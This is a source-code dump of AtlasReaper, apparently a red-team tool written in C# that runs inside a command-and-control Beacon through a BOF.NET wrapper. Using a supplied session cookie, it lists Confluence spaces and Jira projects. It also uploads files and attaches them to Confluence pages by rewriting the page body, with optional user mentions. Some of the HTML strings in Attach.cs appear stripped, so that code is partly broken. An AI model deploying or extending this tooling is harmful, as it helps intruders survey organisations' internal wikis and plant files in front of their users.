31 | {
32 | // List Spaces by limit
33 | RootSpacesObject spacesList = GetSpaces(options);
34 | spaces = spacesList.Results.ToList();
35 | spaces = spaces.OrderBy(o => o.Type).ToList();
36 | }
37 | if (options.Type != null)
38 | {
39 | spaces = spaces.Where(space => space != null && space.Type == options.Type).ToList();
40 | }
41 | if (options.outfile != null)
42 | {
43 | using (StreamWriter writer = new StreamWriter(options.outfile))
44 | {
45 | PrintSpaces(spaces, writer);
46 | }
47 | }
48 | else
49 | {
50 | PrintSpaces(spaces, Console.Out);
51 | }
52 | }
53 | catch (Exception ex)
54 | {
55 | Console.WriteLine("Error occurred while listing spaces: " + ex.Message);
56 | }
57 |
58 |
59 |
60 | }
61 |
62 | // Get Spaces based on options
63 | internal static RootSpacesObject GetSpaces(ConfluenceOptions.ListSpacesOptions options, string paginationToken = null)
64 | {
65 | RootSpacesObject spaceList = new RootSpacesObject();
66 | var url = options.Url + "/wiki/api/v2/spaces?limit=" + options.Limit;
67 | if (paginationToken != null)
68 | {
69 | url += "&" + paginationToken;
70 | }
71 |
72 | try
73 | {
74 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
75 |
76 | spaceList = webRequestHandler.GetJson(url, options.Cookie);
77 |
78 | return spaceList;
79 | }
80 | catch (Exception ex)
81 | {
82 | Console.WriteLine("Error occurred while getting spaces: " + ex.Message);
83 | return spaceList;
84 | }
85 |
86 | }
87 |
88 | // Get a single Space
89 | internal static Space GetSpace(ConfluenceOptions.ListSpacesOptions options)
90 | {
91 | Space space = new Space();
92 | string url = options.Url + "/wiki/api/v2/spaces/" + options.Space;
93 | try
94 | {
95 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
96 | space = webRequestHandler.GetJson(url, options.Cookie);
97 | return space;
98 | }
99 | catch (Exception ex)
100 | {
101 | Console.WriteLine("Error occurred while getting space: " + ex.Message);
102 | return space;
103 | }
104 |
105 | }
106 |
107 | // Get All Spaces
108 | internal static List GetAllSpaces(ConfluenceOptions.ListSpacesOptions options)
109 | {
110 | List spaces = new List();
111 | // Set limit to 250 to reduce number of requests
112 | options.Limit = "250";
113 | try
114 | {
115 | RootSpacesObject spacesList = GetSpaces(options);
116 |
117 | spaces = spacesList.Results;
118 |
119 | while (spacesList != null && spacesList._Links.Next != null)
120 | {
121 | string nextToken = spacesList._Links.Next.Split('&').Last();
122 |
123 | spacesList = GetSpaces(options, nextToken);
124 | spaces.AddRange(spacesList.Results);
125 | }
126 |
127 | spaces = spaces.OrderBy(o => o.Type).ToList();
128 |
129 | return spaces;
130 | }
131 | catch (Exception ex)
132 | {
133 | Console.WriteLine("Error occurred while getting all spaces: " + ex.Message);
134 | return spaces;
135 | }
136 |
137 | }
138 |
139 | // Print Spaces information
140 | internal void PrintSpaces(List spaces, TextWriter writer)
141 | {
142 | try
143 | {
144 | for (int i = 0; i < spaces.Count; i++)
145 | {
146 | Space space = spaces[i];
147 | writer.WriteLine(" Space Name : " + space.Name);
148 | writer.WriteLine(" Space Id : " + space.Id);
149 | writer.WriteLine(" Space Key : " + space.Key);
150 | writer.WriteLine(" Space Type : " + space.Type);
151 | //writer.WriteLine("Space Description: " + space.Description);
152 | writer.WriteLine(" Space Status: " + space.Status);
153 | writer.WriteLine();
154 | }
155 | }
156 |
157 | catch (Exception ex)
158 | {
159 | Console.WriteLine("Error occurred while printing space: " + ex.Message);
160 | }
161 |
162 | }
163 | }
164 |
165 | internal class RootSpacesObject
166 | {
167 | [JsonProperty("results")]
168 | internal List Results { get; set; }
169 |
170 | [JsonProperty("_links")]
171 | internal _Links _Links { get; set; }
172 | }
173 |
174 | internal class Space
175 | {
176 | [JsonProperty("id")]
177 | internal string Id { get; set; }
178 |
179 | [JsonProperty("key")]
180 | internal string Key { get; set; }
181 |
182 | [JsonProperty("name")]
183 | internal string Name { get; set; }
184 |
185 | [JsonProperty("type")]
186 | internal string Type { get; set; }
187 |
188 | [JsonProperty("status")]
189 | internal string Status { get; set; }
190 |
191 | [JsonProperty("homepageId")]
192 | internal string HomepageId { get; set; }
193 |
194 | [JsonProperty("description")]
195 | internal Description Description { get; set; }
196 | }
197 |
198 | internal class Description
199 | {
200 | [JsonProperty("plain")]
201 | internal string Plain { get; set; }
202 |
203 | [JsonProperty("view")]
204 | internal string View { get; set; }
205 | }
206 |
207 | internal class _Links
208 | {
209 | [JsonProperty("base")]
210 | internal string Base { get; set; }
211 |
212 | [JsonProperty("next")]
213 | internal string Next { get; set; }
214 | }
215 | }
216 |
217 |
218 |
--------------------------------------------------------------------------------
/AtlasReaper/BOFNET.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading;
6 | using System.Threading.Tasks;
7 | using BOFNET;
8 |
9 | namespace AtlasReaper
10 | {
11 | public class BOFNET : BeaconObject
12 | {
13 | public BOFNET(BeaconApi api) : base(api) { }
14 |
15 | volatile static ProducerConsumerStream memStream = new ProducerConsumerStream();
16 | volatile static bool RunThread;
17 |
18 | public volatile static BOFNET bofnet = null;
19 | public volatile static Mutex mutex = new Mutex();
20 |
21 | public override void Go(string[] args)
22 | {
23 | try
24 | {
25 | // Redirect stdout to MemoryStream
26 | StreamWriter memStreamWriter = new StreamWriter(memStream);
27 | memStreamWriter.AutoFlush = true;
28 | Console.SetOut(memStreamWriter);
29 | Console.SetError(memStreamWriter);
30 |
31 | // Add reference to BeaconObject for output tasks
32 | bofnet = this;
33 |
34 | // Start thread to check MemoryStream to send data to Beacon
35 | RunThread = true;
36 | Thread runtimeWriteLine = new Thread(() => RuntimeWriteLine());
37 | runtimeWriteLine.Start();
38 |
39 | // Run main program passing original arguments
40 | Task.Run(() => Program.Main(args)).GetAwaiter().GetResult();
41 |
42 | // Trigger safe exit of thread, ensuring MemoryStream is emptied too
43 | RunThread = false;
44 | runtimeWriteLine.Join();
45 | }
46 | catch (Exception ex)
47 | {
48 |
49 | BeaconConsole.WriteLine(String.Format("[!] BOF.NET Exception: {0}.", ex));
50 | }
51 | }
52 |
53 | public static void RuntimeWriteLine()
54 | {
55 | bool LastCheck = false;
56 | while (RunThread == true || LastCheck == true)
57 | {
58 | int offsetWritten = 0;
59 | int currentCycleMemstreamLength = Convert.ToInt32(memStream.Length);
60 | if (currentCycleMemstreamLength > offsetWritten)
61 | {
62 | mutex.WaitOne();
63 | try
64 | {
65 | var byteArrayRaw = new byte[currentCycleMemstreamLength];
66 | int count = memStream.Read(byteArrayRaw, offsetWritten, currentCycleMemstreamLength);
67 |
68 | if (count > 0)
69 | {
70 | // Need to stop at last new line otherwise it will run into encoding errors in the Beacon logs.
71 | int lastNewLine = 0;
72 | for (int i = 0; i < byteArrayRaw.Length; i++)
73 | {
74 | if (byteArrayRaw[i] == '\n')
75 | {
76 | lastNewLine = i;
77 | }
78 | }
79 | if (LastCheck)
80 | {
81 | // If last run ensure all remaining MemoryStream data is obtained.
82 | lastNewLine = currentCycleMemstreamLength;
83 | }
84 | if (lastNewLine > 0)
85 | {
86 | var byteArrayToLastNewline = new byte[lastNewLine];
87 | Buffer.BlockCopy(byteArrayRaw, 0, byteArrayToLastNewline, 0, lastNewLine);
88 | bofnet.BeaconConsole.WriteLine(Encoding.ASCII.GetString(byteArrayToLastNewline));
89 | offsetWritten = offsetWritten + lastNewLine;
90 | }
91 | }
92 | }
93 | catch (Exception ex)
94 | {
95 | bofnet.BeaconConsole.WriteLine(ex);
96 | }
97 | mutex.ReleaseMutex();
98 | }
99 | Thread.Sleep(50);
100 | if (LastCheck)
101 | {
102 | break;
103 | }
104 | if (RunThread == false && LastCheck == false)
105 | {
106 | LastCheck = true;
107 | }
108 | }
109 | }
110 |
111 | public void PassDownloadFile(string filename, ref MemoryStream fileStream)
112 | {
113 | mutex.WaitOne();
114 | try
115 | {
116 | DownloadFile(filename, fileStream);
117 | }
118 | catch (Exception ex)
119 | {
120 | BeaconConsole.WriteLine(String.Format("[!] BOF.NET Exception during DownloadFile(): {0}.", ex));
121 | }
122 | mutex.ReleaseMutex();
123 | }
124 |
125 | }
126 |
127 | // Code taken from Polity at: https://stackoverflow.com/questions/12328245/memorystream-have-one-thread-write-to-it-and-another-read
128 | // Provides means to have multiple threads reading and writing from and to the same MemoryStream
129 | public class ProducerConsumerStream : Stream
130 | {
131 | private readonly MemoryStream innerStream;
132 | private long readPosition;
133 | private long writePosition;
134 |
135 | public ProducerConsumerStream()
136 | {
137 | innerStream = new MemoryStream();
138 | }
139 |
140 | public override bool CanRead { get { return true; } }
141 |
142 | public override bool CanSeek { get { return false; } }
143 |
144 | public override bool CanWrite { get { return true; } }
145 |
146 | public override void Flush()
147 | {
148 | lock (innerStream)
149 | {
150 | innerStream.Flush();
151 | }
152 | }
153 |
154 | public override long Length
155 | {
156 | get
157 | {
158 | lock (innerStream)
159 | {
160 | return innerStream.Length;
161 | }
162 | }
163 | }
164 |
165 | public override long Position
166 | {
167 | get { throw new NotSupportedException(); }
168 | set { throw new NotSupportedException(); }
169 | }
170 |
171 | public override int Read(byte[] buffer, int offset, int count)
172 | {
173 | lock (innerStream)
174 | {
175 | innerStream.Position = readPosition;
176 | int red = innerStream.Read(buffer, offset, count);
177 | readPosition = innerStream.Position;
178 |
179 | return red;
180 | }
181 | }
182 |
183 | public override long Seek(long offset, SeekOrigin origin)
184 | {
185 | throw new NotSupportedException();
186 | }
187 |
188 | public override void SetLength(long value)
189 | {
190 | throw new NotImplementedException();
191 | }
192 |
193 | public override void Write(byte[] buffer, int offset, int count)
194 | {
195 | lock (innerStream)
196 | {
197 | innerStream.Position = writePosition;
198 | innerStream.Write(buffer, offset, count);
199 | writePosition = innerStream.Position;
200 | }
201 | }
202 | }
203 | }
204 |
--------------------------------------------------------------------------------
/AtlasReaper/Confluence/Attach.cs:
--------------------------------------------------------------------------------
1 | using Newtonsoft.Json;
2 | using AtlasReaper.Options;
3 | using System;
4 | using System.Collections.Generic;
5 | using System.IO;
6 | using System.Linq;
7 |
8 | namespace AtlasReaper.Confluence
9 | {
10 | class Attach
11 | {
12 | internal void AttachFile(Options.ConfluenceOptions.AttachOptions options)
13 | {
14 | try
15 | {
16 |
17 | string url = options.Url + "/wiki/rest/api/content/" + options.Page + "/child/attachment";
18 | string fileName = options.Name;
19 |
20 |
21 | if (options.AttachmentId != null && options.File == null)
22 | {
23 | // Attach existing attachment
24 |
25 | string attachmentUrl = options.Url + "/wiki/api/v2/attachments/" + options.AttachmentId;
26 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
27 | AttachmentResult attachmentResult = webRequestHandler.GetJson(attachmentUrl, options.Cookie);
28 |
29 | string attachmentPage = attachmentResult.DownloadLink.Split('/')[3];
30 |
31 | if (options.Page == null)
32 | {
33 | options.Page = attachmentPage;
34 | }
35 |
36 | if (options.Page != attachmentPage)
37 | {
38 | Console.WriteLine("Must attach to the same page the attachment is uploaded to.");
39 | Console.WriteLine("Attachment is uploaded to " + attachmentPage);
40 | return;
41 | }
42 |
43 | AttachPage(attachmentResult.Title, options);
44 |
45 | }
46 | if (options.File != null)
47 | {
48 | if (options.Page == null)
49 | {
50 | Console.WriteLine("Please specify a page with -p/--page");
51 | return;
52 | }
53 | if (options.Name == null)
54 | {
55 | fileName = Path.GetFileName(options.File);
56 | }
57 |
58 | RootAttachObject attachmentObject = UploadFile(url, options, fileName);
59 | if (attachmentObject.Results.Count < 1)
60 | {
61 | Console.WriteLine("Attachment already exists with the name " + fileName);
62 | Console.WriteLine();
63 | Console.WriteLine(" Use -a/--attachment to specify an existing attachment");
64 | return;
65 | }
66 |
67 | Console.WriteLine("Uploaded " + fileName);
68 | Console.WriteLine("Attachment Id: " + attachmentObject.Results[0].Id);
69 |
70 | AttachPage(attachmentObject.Results[0].Title, options);
71 |
72 | }
73 |
74 | }
75 | catch (Exception ex)
76 | {
77 | Console.WriteLine("Error occurred while adding attaching file : " + ex.Message);
78 | }
79 |
80 |
81 |
82 | }
83 |
84 | internal void AttachPage(string attachmentTitle, ConfluenceOptions.AttachOptions options)
85 | {
86 | // Build page url
87 | string pageUrl = options.Url + "/wiki/api/v2/pages/" + options.Page + "?body-format=storage";
88 | string attachText = "";
89 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
90 |
91 |
92 | if (options.At != null)
93 | {
94 | List ats = options.At.Split(',').ToList();
95 | attachText += "";
96 | foreach (string at in ats)
97 | {
98 | attachText += "";
99 | }
100 |
101 | attachText += "
" + options.Text + "
\r\n250
";
104 | }
105 |
106 | else
107 | {
108 | attachText = "" + options.Text + "
\r\n250";
109 | }
110 |
111 | Page page = webRequestHandler.GetJson(pageUrl, options.Cookie);
112 |
113 | PutBody putBody = new PutBody();
114 |
115 | putBody.Id = page.Id;
116 | putBody.Status = page.Status;
117 | putBody.Title = page.Title;
118 | putBody.SpaceId = page.SpaceId;
119 | putBody.Body = page.Body;
120 | putBody.Body.Storage.Value += attachText;
121 | putBody.Body.Storage.Representation = "storage";
122 | putBody.Version = page.Version;
123 | putBody.Version.Number += 1;
124 |
125 | string serializedPage = JsonConvert.SerializeObject(putBody);
126 |
127 | // PUT page
128 | webRequestHandler.PutJson(pageUrl, options.Cookie, serializedPage);
129 |
130 | // GET page
131 | page = webRequestHandler.GetJson(pageUrl, options.Cookie);
132 | Console.WriteLine("Attached file to page id: " + page.Id);
133 | Console.WriteLine("Output of " + page.Title + " after update.");
134 | Console.WriteLine();
135 | Console.WriteLine(page.Body.Storage.Value);
136 | }
137 |
138 | internal RootAttachObject UploadFile(string url, ConfluenceOptions.AttachOptions options, string fileName)
139 | {
140 | FormData formData = new FormData
141 | {
142 | comment = options.Comment,
143 | file = File.ReadAllBytes(options.File)
144 | };
145 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
146 | RootAttachObject attachmentObject = webRequestHandler.PostForm(url, options.Cookie, formData, fileName);
147 |
148 | return attachmentObject;
149 | }
150 | }
151 |
152 | public class FormData
153 | {
154 | public string comment { get; set; }
155 | public byte[] file { get; set; }
156 | }
157 |
158 | internal class RootAttachObject
159 | {
160 | [JsonProperty("results")]
161 | internal List Results { get; set; }
162 |
163 | [JsonProperty("totalSize")]
164 | internal int TotalSize { get; set; }
165 |
166 | [JsonProperty("_links")]
167 | internal _Links _Links { get; set; }
168 | }
169 |
170 | internal class AttachmentResult
171 | {
172 | [JsonProperty("id")]
173 | internal string Id { get; set; }
174 |
175 | [JsonProperty("title")]
176 | internal string Title { get; set; }
177 |
178 | [JsonProperty("metadata")]
179 | internal MetaData MetaData { get; set; }
180 |
181 | [JsonProperty("downloadLink")]
182 | internal string DownloadLink { get; set; }
183 | }
184 |
185 | internal class MetaData
186 | {
187 | [JsonProperty("mediaType")]
188 | internal string mediaType { get; set; }
189 | }
190 | }
191 |
--------------------------------------------------------------------------------
/AtlasReaper/Jira/Projects.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Linq;
5 | using Newtonsoft.Json;
6 | using AtlasReaper.Options;
7 |
8 | namespace AtlasReaper.Jira
9 | {
10 | class Projects
11 | {
12 | // List projects based on the provided options
13 | internal void ListProjects(JiraOptions.ListProjectsOptions options)
14 | {
15 | try
16 | {
17 | List projects = new List();
18 |
19 | if (options.Limit != "50" && !options.All)
20 | {
21 | // Build the URL for listing projects based on limit
22 | string restUrl = "/rest/api/3/project/search?expand=description,insight,issueTypes&maxResults=";
23 | string url = options.Url + restUrl + options.Limit;
24 | RootProjectsObject projectsList = GetProjects(options, url);
25 |
26 | projects = SortProjects(options.sortBy, projectsList.Projects);
27 | }
28 | else if (options.All)
29 | {
30 | // List all projects
31 | string restUrl = "/rest/api/3/project/search?expand=description,insight,issueTypes";
32 | string url = options.Url + restUrl;
33 |
34 | RootProjectsObject projectsList = GetProjects(options, url);
35 | projects.AddRange(projectsList.Projects);
36 |
37 | while (!projectsList.IsLast)
38 | {
39 | projectsList = GetProjects(options, projectsList.NextPage);
40 | projects.AddRange(projectsList.Projects);
41 | }
42 |
43 | projects = SortProjects(options.sortBy, projects);
44 |
45 |
46 |
47 | }
48 | else
49 | {
50 | // List projects
51 | string restUrl = "/rest/api/3/project/search?expand=description,insight,issueTypes";
52 | string url = options.Url + restUrl;
53 | RootProjectsObject projectsList = GetProjects(options, url);
54 | projects = SortProjects(options.sortBy, projectsList.Projects);
55 | }
56 |
57 | if (options.outfile != null)
58 | {
59 | using (StreamWriter writer = new StreamWriter(options.outfile))
60 | {
61 | PrintProjects(projects, writer);
62 | }
63 | }
64 | else
65 | {
66 | PrintProjects(projects, Console.Out);
67 | }
68 | }
69 | catch (Exception ex)
70 | {
71 | Console.WriteLine("Error occurred while listing projects: " + ex.Message);
72 | }
73 |
74 | }
75 |
76 | // Sort projects based on the provided sort option
77 | private List SortProjects(string sortBy, List projects)
78 | {
79 | try
80 | {
81 | switch (sortBy)
82 | {
83 | case "issues":
84 | projects = projects.OrderByDescending(o => o.Insight.TotalIssueCount).ToList();
85 | return projects;
86 | case "updated":
87 | projects = projects = projects.OrderByDescending(o => o.Insight.LastIssueUpdateTime).ToList();
88 | return projects;
89 | }
90 | return projects;
91 | }
92 | catch (Exception ex)
93 | {
94 | Console.WriteLine("Error occurred while sorting projects: " + ex.Message);
95 | return projects;
96 | }
97 |
98 | }
99 |
100 | // Get projects from the Jira API
101 | private RootProjectsObject GetProjects(JiraOptions.ListProjectsOptions options, string url)
102 | {
103 | try
104 | {
105 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
106 | RootProjectsObject projectsList = webRequestHandler.GetJson(url, options.Cookie);
107 | return projectsList;
108 | }
109 | catch (Exception ex)
110 | {
111 | Console.WriteLine("Error occurred while getting projects: " + ex.Message);
112 | return null;
113 | }
114 |
115 | }
116 |
117 | // Print the list of projects
118 | private void PrintProjects(List projects, TextWriter writer)
119 | {
120 | try
121 | {
122 | writer.WriteLine();
123 | writer.WriteLine("Total projects = " + projects.Count.ToString());
124 | writer.WriteLine();
125 |
126 | for (int i = 0; i < projects.Count; i++)
127 | {
128 | Project project = projects[i];
129 | writer.WriteLine(" Project Name : " + project.Name);
130 | writer.WriteLine(" Project Key : " + project.Key);
131 | writer.WriteLine(" Project Id : " + project.Id);
132 | writer.WriteLine(" Project Type : " + project.ProjectTypeKey);
133 | writer.WriteLine(" Last Issue Update : " + project.Insight.LastIssueUpdateTime);
134 | writer.WriteLine(" Total Issues : " + project.Insight.TotalIssueCount);
135 | writer.WriteLine(" Project Description : " + project.Description.Replace("\r\n", " "));
136 | writer.WriteLine(" Project Issue Types : ");
137 | for (int j = 0; j < project.IssueTypes.Count; j++)
138 | {
139 | writer.WriteLine(" " +project.IssueTypes[j].Name);
140 | }
141 | writer.WriteLine();
142 | }
143 | }
144 | catch (Exception ex)
145 | {
146 | Console.WriteLine("Error occurred while printing projects: " + ex.Message);
147 | }
148 |
149 | }
150 | }
151 |
152 | internal class RootProjectsObject
153 | {
154 | [JsonProperty("self")]
155 | internal string Self { get; set; }
156 |
157 | [JsonProperty("nextPage")]
158 | internal string NextPage { get; set; }
159 |
160 | [JsonProperty("total")]
161 | internal int Total { get; set; }
162 |
163 | [JsonProperty("isLast")]
164 | internal bool IsLast { get; set; }
165 |
166 | [JsonProperty("values")]
167 | internal List Projects { get; set; }
168 | }
169 |
170 | internal class Project
171 | {
172 | [JsonProperty("id")]
173 | internal string Id { get; set; }
174 |
175 | [JsonProperty("key")]
176 | internal string Key { get; set; }
177 |
178 | [JsonProperty("description")]
179 | internal string Description { get; set; }
180 |
181 | [JsonProperty("name")]
182 | internal string Name { get; set; }
183 |
184 | [JsonProperty("projectCategory")]
185 | internal ProjectCategory ProjectCategory { get; set; }
186 |
187 | [JsonProperty("projectTypeKey")]
188 | internal string ProjectTypeKey { get; set; }
189 |
190 | [JsonProperty("insight")]
191 | internal Insight Insight { get; set; }
192 |
193 | [JsonProperty("issueTypes")]
194 | internal List IssueTypes { get; set; }
195 |
196 | }
197 |
198 | internal class IssueType
199 | {
200 | [JsonProperty("self")]
201 | internal string Self { get; set; }
202 | [JsonProperty("id")]
203 | internal string Id { get; set; }
204 | [JsonProperty("description")]
205 | internal string Description { get; set; }
206 | [JsonProperty("name")]
207 | internal string Name { get; set; }
208 | }
209 |
210 | internal class ProjectCategory
211 | {
212 | [JsonProperty("name")]
213 | internal string Name { get; set; }
214 |
215 | [JsonProperty("description")]
216 | internal string description { get; set; }
217 |
218 | [JsonProperty("id")]
219 | internal string Id { get; set; }
220 | }
221 |
222 | internal class Insight
223 | {
224 | [JsonProperty("totalIssueCount")]
225 | internal int TotalIssueCount { get; set; }
226 |
227 | [JsonProperty("lastIssueUpdateTime")]
228 | internal string LastIssueUpdateTime { get; set; }
229 | }
230 | }
231 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Ll]og/
33 | [Ll]ogs/
34 |
35 | # Visual Studio 2015/2017 cache/options directory
36 | .vs/
37 | # Uncomment if you have tasks that create the project's static files in wwwroot
38 | #wwwroot/
39 |
40 | # Visual Studio 2017 auto generated files
41 | Generated\ Files/
42 |
43 | # MSTest test Results
44 | [Tt]est[Rr]esult*/
45 | [Bb]uild[Ll]og.*
46 |
47 | # NUnit
48 | *.VisualState.xml
49 | TestResult.xml
50 | nunit-*.xml
51 |
52 | # Build Results of an ATL Project
53 | [Dd]ebugPS/
54 | [Rr]eleasePS/
55 | dlldata.c
56 |
57 | # Benchmark Results
58 | BenchmarkDotNet.Artifacts/
59 |
60 | # .NET Core
61 | project.lock.json
62 | project.fragment.lock.json
63 | artifacts/
64 |
65 | # ASP.NET Scaffolding
66 | ScaffoldingReadMe.txt
67 |
68 | # StyleCop
69 | StyleCopReport.xml
70 |
71 | # Files built by Visual Studio
72 | *_i.c
73 | *_p.c
74 | *_h.h
75 | *.ilk
76 | *.meta
77 | *.obj
78 | *.iobj
79 | *.pch
80 | *.pdb
81 | *.ipdb
82 | *.pgc
83 | *.pgd
84 | *.rsp
85 | *.sbr
86 | *.tlb
87 | *.tli
88 | *.tlh
89 | *.tmp
90 | *.tmp_proj
91 | *_wpftmp.csproj
92 | *.log
93 | *.tlog
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*.json
147 | coverage*.xml
148 | coverage*.info
149 |
150 | # Visual Studio code coverage results
151 | *.coverage
152 | *.coveragexml
153 |
154 | # NCrunch
155 | _NCrunch_*
156 | .*crunch*.local.xml
157 | nCrunchTemp_*
158 |
159 | # MightyMoose
160 | *.mm.*
161 | AutoTest.Net/
162 |
163 | # Web workbench (sass)
164 | .sass-cache/
165 |
166 | # Installshield output folder
167 | [Ee]xpress/
168 |
169 | # DocProject is a documentation generator add-in
170 | DocProject/buildhelp/
171 | DocProject/Help/*.HxT
172 | DocProject/Help/*.HxC
173 | DocProject/Help/*.hhc
174 | DocProject/Help/*.hhk
175 | DocProject/Help/*.hhp
176 | DocProject/Help/Html2
177 | DocProject/Help/html
178 |
179 | # Click-Once directory
180 | publish/
181 |
182 | # Publish Web Output
183 | *.[Pp]ublish.xml
184 | *.azurePubxml
185 | # Note: Comment the next line if you want to checkin your web deploy settings,
186 | # but database connection strings (with potential passwords) will be unencrypted
187 | *.pubxml
188 | *.publishproj
189 |
190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
191 | # checkin your Azure Web App publish settings, but sensitive information contained
192 | # in these scripts will be unencrypted
193 | PublishScripts/
194 |
195 | # NuGet Packages
196 | *.nupkg
197 | # NuGet Symbol Packages
198 | *.snupkg
199 | # The packages folder can be ignored because of Package Restore
200 | **/[Pp]ackages/*
201 | # except build/, which is used as an MSBuild target.
202 | !**/[Pp]ackages/build/
203 | # Uncomment if necessary however generally it will be regenerated when needed
204 | #!**/[Pp]ackages/repositories.config
205 | # NuGet v3's project.json files produces more ignorable files
206 | *.nuget.props
207 | *.nuget.targets
208 |
209 | # Microsoft Azure Build Output
210 | csx/
211 | *.build.csdef
212 |
213 | # Microsoft Azure Emulator
214 | ecf/
215 | rcf/
216 |
217 | # Windows Store app package directories and files
218 | AppPackages/
219 | BundleArtifacts/
220 | Package.StoreAssociation.xml
221 | _pkginfo.txt
222 | *.appx
223 | *.appxbundle
224 | *.appxupload
225 |
226 | # Visual Studio cache files
227 | # files ending in .cache can be ignored
228 | *.[Cc]ache
229 | # but keep track of directories ending in .cache
230 | !?*.[Cc]ache/
231 |
232 | # Others
233 | ClientBin/
234 | ~$*
235 | *~
236 | *.dbmdl
237 | *.dbproj.schemaview
238 | *.jfm
239 | *.pfx
240 | *.publishsettings
241 | orleans.codegen.cs
242 |
243 | # Including strong name files can present a security risk
244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
245 | #*.snk
246 |
247 | # Since there are multiple workflows, uncomment next line to ignore bower_components
248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
249 | #bower_components/
250 |
251 | # RIA/Silverlight projects
252 | Generated_Code/
253 |
254 | # Backup & report files from converting an old project file
255 | # to a newer Visual Studio version. Backup files are not needed,
256 | # because we have git ;-)
257 | _UpgradeReport_Files/
258 | Backup*/
259 | UpgradeLog*.XML
260 | UpgradeLog*.htm
261 | ServiceFabricBackup/
262 | *.rptproj.bak
263 |
264 | # SQL Server files
265 | *.mdf
266 | *.ldf
267 | *.ndf
268 |
269 | # Business Intelligence projects
270 | *.rdl.data
271 | *.bim.layout
272 | *.bim_*.settings
273 | *.rptproj.rsuser
274 | *- [Bb]ackup.rdl
275 | *- [Bb]ackup ([0-9]).rdl
276 | *- [Bb]ackup ([0-9][0-9]).rdl
277 |
278 | # Microsoft Fakes
279 | FakesAssemblies/
280 |
281 | # GhostDoc plugin setting file
282 | *.GhostDoc.xml
283 |
284 | # Node.js Tools for Visual Studio
285 | .ntvs_analysis.dat
286 | node_modules/
287 |
288 | # Visual Studio 6 build log
289 | *.plg
290 |
291 | # Visual Studio 6 workspace options file
292 | *.opt
293 |
294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
295 | *.vbw
296 |
297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.)
298 | *.vbp
299 |
300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project)
301 | *.dsw
302 | *.dsp
303 |
304 | # Visual Studio 6 technical files
305 | *.ncb
306 | *.aps
307 |
308 | # Visual Studio LightSwitch build output
309 | **/*.HTMLClient/GeneratedArtifacts
310 | **/*.DesktopClient/GeneratedArtifacts
311 | **/*.DesktopClient/ModelManifest.xml
312 | **/*.Server/GeneratedArtifacts
313 | **/*.Server/ModelManifest.xml
314 | _Pvt_Extensions
315 |
316 | # Paket dependency manager
317 | .paket/paket.exe
318 | paket-files/
319 |
320 | # FAKE - F# Make
321 | .fake/
322 |
323 | # CodeRush personal settings
324 | .cr/personal
325 |
326 | # Python Tools for Visual Studio (PTVS)
327 | __pycache__/
328 | *.pyc
329 |
330 | # Cake - Uncomment if you are using it
331 | # tools/**
332 | # !tools/packages.config
333 |
334 | # Tabs Studio
335 | *.tss
336 |
337 | # Telerik's JustMock configuration file
338 | *.jmconfig
339 |
340 | # BizTalk build output
341 | *.btp.cs
342 | *.btm.cs
343 | *.odx.cs
344 | *.xsd.cs
345 |
346 | # OpenCover UI analysis results
347 | OpenCover/
348 |
349 | # Azure Stream Analytics local run output
350 | ASALocalRun/
351 |
352 | # MSBuild Binary and Structured Log
353 | *.binlog
354 |
355 | # NVidia Nsight GPU debugger configuration file
356 | *.nvuser
357 |
358 | # MFractors (Xamarin productivity tool) working folder
359 | .mfractor/
360 |
361 | # Local History for Visual Studio
362 | .localhistory/
363 |
364 | # Visual Studio History (VSHistory) files
365 | .vshistory/
366 |
367 | # BeatPulse healthcheck temp database
368 | healthchecksdb
369 |
370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
371 | MigrationBackup/
372 |
373 | # Ionide (cross platform F# VS Code tools) working folder
374 | .ionide/
375 |
